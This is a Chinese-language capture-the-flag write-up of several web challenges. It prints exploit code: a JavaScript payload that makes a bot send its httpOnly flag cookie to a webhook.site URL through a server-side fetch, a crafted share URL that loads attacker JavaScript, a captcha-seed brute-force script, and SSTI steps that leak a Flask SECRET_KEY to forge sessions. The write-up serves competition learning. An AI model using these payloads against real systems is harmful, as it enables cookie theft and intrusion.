这次比赛题非常有意思,甚至可以用猥琐两个字形容。
web
题是和kkkl@chamd5
师傅一起做的,很多思路都是他想出来的。
craftcms
之前爆出过cve
,参考这篇:
使用第二种trick
打日志包含会被检测到,而使用第三种方法imagemagick
扩展写马应该是没有权限,写不进去web
目录。
考虑第一次直接复制里面的报文打就行,往/tmp
下写文件。
随后文件包含即可。
easy latex
这题看上去是要XSS
。大体看一遍逻辑发现theme
是可控的,并且渲染的时候是通过latex-js
来远程加载theme
,利用点估计就是通过可控的theme
进行xss
。
一开始看错了,还以为是什么md5
弱类型绕过,仔细一看就是把账号md5
之后当作密码就能登陆了。
app.post('/login', (req, res) => {
let { username, password } = req.body
if (md5(username) != password) {
res.render('login', { msg: 'login failed' })
return
}
let token = sign({ username, isVip: false })
res.cookie('token', token)
res.redirect('/')
})
成为vip
既然要想办法利用theme
那么肯定要成为vip
了。这里url
返回一个ok
就可以成为vip
了。比较奇怪的是他是用new URL(username, vip_url)
作为url
请求访问的,正常来说直接格式化字符串就好了,并且这个username
在前面,当时就觉得比较可疑。
app.post('/vip', auth,async (req, res) => {
var session = req.session
let username = session.username
let { code } = req.body
let vip_url = VIP_URL
let data = await (await fetch(new URL(username, vip_url), {
method: 'POST',
headers: {
Cookie: Object.entries(req.cookies).map(([k, v]) => `${k}=${v}`).join('; ')
},
body: new URLSearchParams({ code })
})).text()
if ('ok' == data) {
res.cookie('token', sign({ username, isVip: true }))
res.send('Congratulation! You are VIP now.')
} else {
res.send(data)
}
})
具体看URL()
的逻辑或者本地去调试都很容易发现:只要第一个参数是个完整的http url
就会把第二个参数无视掉。因此自己写个返回ok
的网页就能成为vip
了。
以这个恶意url
为用户名登陆即可成为vip
。
XSS
XSS
这一步就有点恶心了。其实这里已经看到了id
是可控的,不一定非要访问/note
,但此时光想着怎么打note.html
的xss
了。
app.get('/share/:id', reportLimiter, async (req, res) => {
const { id } = req.params
if (!id) {
res.send('no note id specified')
return
}
const url = `http://localhost:${PORT}/note/${id}`
try {
await visit(url)
res.send('done')
} catch (e) {
console.log(e)
res.send('something error')
}
})
因为/note
这里是要求是vip
才能传theme
,这里就进入ctf
的思维定式了(既然这个路由要成为vip
才能设置主题那么肯定有用),但是看了眼note.html
有比较严格的CSP
限制。这里和队友想了好久,其中发现了两种方法可以打alert
,我的方法比较答辩,就是控制host
头赋值给CSP
就能打本地alert
,但实际上连bot
都打不了,除非除非是有个CRLF
。
队友kkkl
想到的方法是更通用的,因为note.html
的CSP
引入了jsdelivr
,这是个可以代理github
的cdn
,因此只要把github
中的恶意脚本通过https://www.jsdelivr.com/github代理就能绕过`CSP`了,但可惜的是这种方法在后续也根本不可能绕过`http only`。
app.post('/note', auth, (req, res) => {
let { tex, theme } = req.body
if (!tex) {
res.send('empty tex')
return
}
if (!theme || !req.session.isVip) {
theme = ''
}
const id = notes.add({ tex, theme })
let msg = (!req.body.theme || req.session.isVip) ? '' : 'Be VIP to enable theme setting!'
msg += `\nYour note link: http://${req.headers.host}/note/${id}`
msg += `\nShare it via http://${req.headers.host}/share/${id}`
res.send(msg.trim())
})
但后来想到了/preview.html
也是可以请求加载指定的theme
的,并且没有CSP
,再结合前面提到的id
是可控的就能完美利用了。
<div class="mt-4">
<latex-js id="tex" baseURL="<%= base %>"><%= tex %></latex-js>
</div>
能够请求自定义的theme
是因为/preview
路由下面也是通过new URL
这种错误的处理方式进行fetch
的,theme
可控所以就可以随便加载我们自定义的js
了,最关键的是这个页面没有CSP限制。
app.get('/preview', (req, res) => {
let { tex, theme } = req.query
if (!tex) {
tex = 'Today is \\today.'
}
const nonce = getNonce(16)
let base = 'https://cdn.jsdelivr.net/npm/latex.js/dist/'
if (theme) {
base = new URL(theme, `http://${req.headers.host}/theme/`) + '/'
}
res.render('preview.html', { tex, nonce, base })
})
这里请求的js
是需要注意一下的,比如你传参?theme=http://xx.xx.xx.xx
,那么他请求加载的js
路径是http://xx.xx.xx.xx/js/base.js
。
绕过http only
bot
的逻辑是很经典的限制了domain
和http only
,在队内月赛/升级赛遇到无数次这种恶心的东西。
const visit = async (url) => {
console.log(`start: ${url}`)
const browser = await puppeteer.launch({
headless: 'new',
executablePath: puppeteer.executablePath(),
args: ['--no-sandbox'],
})
const ctx = await browser.createIncognitoBrowserContext();
try{
const page = await ctx.newPage();
await page.setCookie({
name: 'flag',
value: FLAG,
domain: `${APP_HOST}:${APP_PORT}`,
httpOnly: true
})
await page.goto(url, {timeout: 5000})
await sleep(3000)
await page.close()
}catch(e){
console.log(e);
}
await ctx.close();
await browser.close()
console.log(`done: ${url}`)
}
module.exports.visit = visit
http only
只限制了js
层面获取cookie
,但是代码层面是管不到的。而domain
限制了cookie
的有效域,因此只能想办法找个app.js
中的路由回显cookie
了。很容易就想到了vip
路由,这里会带着cookie
访问url
。
app.post('/vip', auth,async (req, res) => {
var session = req.session
let username = session.username
let { code } = req.body
let vip_url = VIP_URL
let data = await (await fetch(new URL(username, vip_url), {
method: 'POST',
headers: {
Cookie: Object.entries(req.cookies).map(([k, v]) => `${k}=${v}`).join('; ')
},
body: new URLSearchParams({ code })
})).text()
if ('ok' == data) {
res.cookie('token', sign({ username, isVip: true }))
res.send('Congratulation! You are VIP now.')
} else {
res.send(data)
}
})
而这里是又出现了new URL
这种错误处理方式,所以username
搞成自己的dnslog
就可以了。
这里有两种办法。一种是控制机器人去登录拿到token
,另一种是在远程登录个账号,把浏览器的token
复制过来用fetch
直接带着token
打/vip
。
PS:憨批了本地调试的时候把/vip
的auth
关掉了操,我说怎么没token
打不通。
const data = new URLSearchParams();
data.append('username', 'https://webhook.site/e58effa8-d9d9-48a0-98f2-22a962961c22');
data.append('password', '9cbf71c9e88878f6db5cc6285a7a1de7');
fetch('/login', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: data
}).then(response => {
const vipData = new URLSearchParams();
vipData.append('code', '123');
fetch('/vip', {
method: 'POST',
body: vipData
});
}).then(response => response.text())
.then(data => {
console.log('Success:', data);
})
.catch(error => {
console.error('Error:', error);
});
然后访问就可以让bot
访问preview
路由来加载没有CSP
限制的恶意js
了。
http://124.70.33.170:3000/share/..%2Fpreview%3Ftex%3D123%26theme%3Dhttp%3A%2F%2F114.xx.xx.xx
story
非常明显的SSTI
。
@app.route('/story', methods=['GET'])
def story():
story = session.get('story','')
if story is not None and story != "":
tpl = open('templates/story.html', 'r').read()
return render_template_string(tpl % story)
return redirect("/")
但是想要设置story
首先要成为vip
。
@app.route('/vip', methods=['POST'])
def vip():
captcha = generate_code()
captcha_user = request.json.get('captcha', '')
if captcha == captcha_user:
session['vip'] = True
return render_template("home.html")
@app.route('/write', methods=['POST','GET'])
def rename():
if request.method == "GET":
return redirect('/')
story = request.json.get('story', '')
if session.get('vip', ''):
if not minic_waf(story):
session['username'] = ""
session['vip'] = False
return jsonify({'status': 'error', 'message': 'no way~~~'})
session['story'] = story
return jsonify({'status': 'success', 'message': 'success'})
return jsonify({'status': 'error', 'message': 'Please become a VIP first.'}), 400
并且/write
这里调用的竟然是随机waf
,莫名感觉有点搞笑…甲方看了直落泪。
import random
rule = [
['\\x','[',']','.','getitem','print','request','args','cookies','values','getattribute','config'], # rule 1
['(',']','getitem','_','%','print','config','args','values','|','\'','\"','dict',',','join','.','set'], # rule 2
['\'','\"','dict',',','config','join','\\x',')','[',']','attr','__','list','globals','.'], # rule 3
['[',')','getitem','request','.','|','config','popen','dict','doc','\\x','_','\{\{','mro'], # rule 4
['\\x','(',')','config','args','cookies','values','[',']','\{\{','.','request','|','attr'], # rule 5
['print', 'class', 'import', 'eval', '__', 'request','args','cookies','values','|','\\x','getitem'] # rule 6
]
# Make waf more random
def transfrom(number):
a = random.randint(0,20)
b = random.randint(0,100)
return (a * number + b) % 6
def singel_waf(input, rules):
input = input.lower()
for rule in rules:
if rule in input:
return False
return True
def minic_waf(input):
waf_seq = random.sample(range(21),3)
for index in range(len(waf_seq)):
waf_seq[index] = transfrom(waf_seq[index])
if not singel_waf(input, rule[waf_seq[index]]):
return False
return True
这里其实不需要去绕这么多黑名单,只要去绕config
就行,因为SECRET_KEY
在config
里面,直接去伪造flask session
就可以ssti
了。但由于这个随机WAF
,实际上你多请求几次,甚至连config
都不用绕过。
成为vip(验证码生成逻辑错误)
这个题的主要问题是如何成为vip
。
仔细观察生成验证码的逻辑,首先访问/captcha
会实例化Captcha
类,随后调用了generate()
方法生成第一个验证码。
这里值得注意的地方就是random.seed
设置的种子是(key or int(time.time())) + random.randint(1,100)
,即当前时间戳加上一个随机数,这就很容易爆破了(只要服务器时间是同步的)
我们知道random
是伪随机的,这里自己写个脚本测试一下就知道,设置个固定的种子,然后调用generate_code
若干次,运行多次脚本。尽管没发现周期性,但你会发现每一次运行脚本生成的随机数一定是一样的。
ColorTuple = t.Union[t.Tuple[int, int, int], t.Tuple[int, int, int, int]]
DATA_DIR = os.path.join(os.path.abspath(os.path.dirname(__file__)), 'data')
DEFAULT_FONTS = [os.path.join(DATA_DIR, 'DroidSansMono.ttf')]
class Captcha:
lookup_table: t.List[int] = [int(i * 1.97) for i in range(256)]
def __init__(self, width: int = 160, height: int = 60, key: int = None, length: int = 4,
fonts: t.Optional[t.List[str]] = None, font_sizes: t.Optional[t.Tuple[int]] = None):
self._width = width
self._height = height
self._length = length
self._key = (key or int(time.time())) + random.randint(1,100)
self._fonts = fonts or DEFAULT_FONTS
self._font_sizes = font_sizes or (42, 50, 56)
self._truefonts: t.List[FreeTypeFont] = []
random.seed(self._key)
@property
def truefonts(self) -> t.List[FreeTypeFont]:
if self._truefonts:
return self._truefonts
self._truefonts = [
truetype(n, s)
for n in self._fonts
for s in self._font_sizes
]
return self._truefonts
@staticmethod
def create_noise_curve(image: Image, color: ColorTuple) -> Image:
w, h = image.size
x1 = random.randint(0, int(w / 5))
x2 = random.randint(w - int(w / 5), w)
y1 = random.randint(int(h / 5), h - int(h / 5))
y2 = random.randint(y1, h - int(h / 5))
points = [x1, y1, x2, y2]
end = random.randint(160, 200)
start = random.randint(0, 20)
Draw(image).arc(points, start, end, fill=color)
return image
@staticmethod
def create_noise_dots(image: Image, color: ColorTuple, width: int = 3, number: int = 30) -> Image:
draw = Draw(image)
w, h = image.size
while number:
x1 = random.randint(0, w)
y1 = random.randint(0, h)
draw.line(((x1, y1), (x1 - 1, y1 - 1)), fill=color, width=width)
number -= 1
return image
def _draw_character(self, c: str, draw: ImageDraw, color: ColorTuple) -> Image:
font = random.choice(self.truefonts)
left, top, right, bottom = draw.textbbox((0, 0), c, font=font)
w = int((right - left)*1.7) or 1
h = int((bottom - top)*1.7) or 1
dx1 = random.randint(0, 4)
dy1 = random.randint(0, 6)
im = createImage('RGBA', (w + dx1, h + dy1))
Draw(im).text((dx1, dy1), c, font=font, fill=color)
# rotate
im = im.crop(im.getbbox())
im = im.rotate(random.uniform(-30, 30), BILINEAR, expand=True)
# warp
dx2 = w * random.uniform(0.1, 0.3)
dy2 = h * random.uniform(0.2, 0.3)
x1 = int(random.uniform(-dx2, dx2))
y1 = int(random.uniform(-dy2, dy2))
x2 = int(random.uniform(-dx2, dx2))
y2 = int(random.uniform(-dy2, dy2))
w2 = w + abs(x1) + abs(x2)
h2 = h + abs(y1) + abs(y2)
data = (
x1, y1,
-x1, h2 - y2,
w2 + x2, h2 + y2,
w2 - x2, -y1,
)
im = im.resize((w2, h2))
im = im.transform((w, h), QUAD, data)
return im
def create_captcha_image(self, chars: str, color: ColorTuple, background: ColorTuple) -> Image:
image = createImage('RGB', (self._width, self._height), background)
draw = Draw(image)
images: t.List[Image] = []
for c in chars:
if random.random() > 0.5:
images.append(self._draw_character(" ", draw, color))
images.append(self._draw_character(c, draw, color))
text_width = sum([im.size[0] for im in images])
width = max(text_width, self._width)
image = image.resize((width, self._height))
average = int(text_width / len(chars))
rand = int(0.25 * average)
offset = int(average * 0.1)
for im in images:
w, h = im.size
mask = im.convert('L').point(self.lookup_table)
image.paste(im, (offset, int((self._height - h) / 2)), mask)
offset = offset + w + random.randint(-rand, 0)
if width > self._width:
image = image.resize((self._width, self._height))
return image
def generate_image(self, chars: str) -> Image:
background = random_color(238, 255)
color = random_color(10, 200, random.randint(220, 255))
im = self.create_captcha_image(chars, color, background)
self.create_noise_dots(im, color)
self.create_noise_curve(im, color)
im = im.filter(SMOOTH)
return im
def generate(self, format: str = 'png') -> (BytesIO,str):
code = generate_code(self._length)
im = self.generate_image(code)
out = BytesIO()
im.save(out, format=format)
out.seek(0)
return out, code
def write(self, output: str, format: str = 'png') -> (Image, str):
code = generate_code(self._length)
im = self.generate_image(code)
im.save(output, format=format)
return im, code
而/vip
是调用了generate_code
方法生成验证码。
@app.route('/vip', methods=['POST'])
def vip():
captcha = generate_code()
captcha_user = request.json.get('captcha', '')
if captcha == captcha_user:
session['vip'] = True
return render_template("home.html")
def generate_code(length: int = 4):
characters = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
result = ''.join(random.choice(characters) for _ in range(length))
print(result)
# I=I+1
return result
这里编写爆破脚本的思路就有了,我们可以先访问一次/catpcha
让他重置一下种子,因为题目设置的key
是由当前时间戳加个随机数生成的,所以这个种子是可以通过遍历爆破就能拿到。又因为random.choice
是伪随机的,所以只要爆破对了key
正确的验证码就出来了。
不过这里有两个坑:
- 第一次生成验证码必须实例化
Captcha(200, 80,key=key)
,宽高必须对应上,好像是random
里调用了指定的宽高,这样就打乱了后续(第二次第三次)生成验证码的逻辑,导致爆破不出来。 - 公共靶场,可能有别人也在访问路由从而破坏成功率。
考虑到上面两个因素,写下了如下脚本,就算有人捣乱但是也不可能一直捣乱,只要一直请求就好了,实际测试几秒钟就能跑出来。
import requests
import random
import time
from utils.captcha import Captcha,generate_code
flag=False
url="http://124.70.33.170:23001/"
while True:
session = requests.session()
uuu=url+"captcha"
number=int(time.time())
session.get(url=uuu)
cc1=session.cookies.get("session")
i=0
for randoms in range(1,101):
key = number+randoms
# key =
gen = Captcha(200, 80,key=key) #必须是填200,80.
buf , captcha_text = gen.generate()
# gen = Captcha(key=1698630385)
for _ in range(0,i+1):
captcha = generate_code()
# print(captcha)
burp0_url = url+"vip"
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://124.70.33.170:23001", "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer": "http://124.70.33.170:23001/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7", "Connection": "close"}
burp0_json={"captcha": str(captcha)}
# print(burp0_json)
session.post(burp0_url, headers=burp0_headers, json=burp0_json)
cc2=session.cookies.get("session")
i=i+1
if cc1!=cc2:
print("sucess")
print(cc2)
flag=True
break
if flag:
print("找到了")
break
else:
print("没有找到,请重新运行")
#sucess
#eyJjYXB0Y2hhIjoieGRmQSIsInZpcCI6dHJ1ZX0.ZT8bDQ.JKzPFmo1IIlRlRxtBKT4Ut3tbms
#找到了
session伪造打SSTI
直接用{{config}}
就行,多试几次,因为是随机WAF
。多试几次就会遇到没有ban掉config
的垃圾WAF
了,设置成功就能直接读取到secret_key
了。
成功读取到secret-key:16d07433931f178ff35c75e83924d5e9
伪造session
打ssti
即可。
带着session
请求/story
即可。
MyGO’s Live!!!!!
第一道题直接上车了,就是-iL
读文件然后输出到主页上。参数注入的题我个人不是很喜欢,并且自己也不擅长就没看。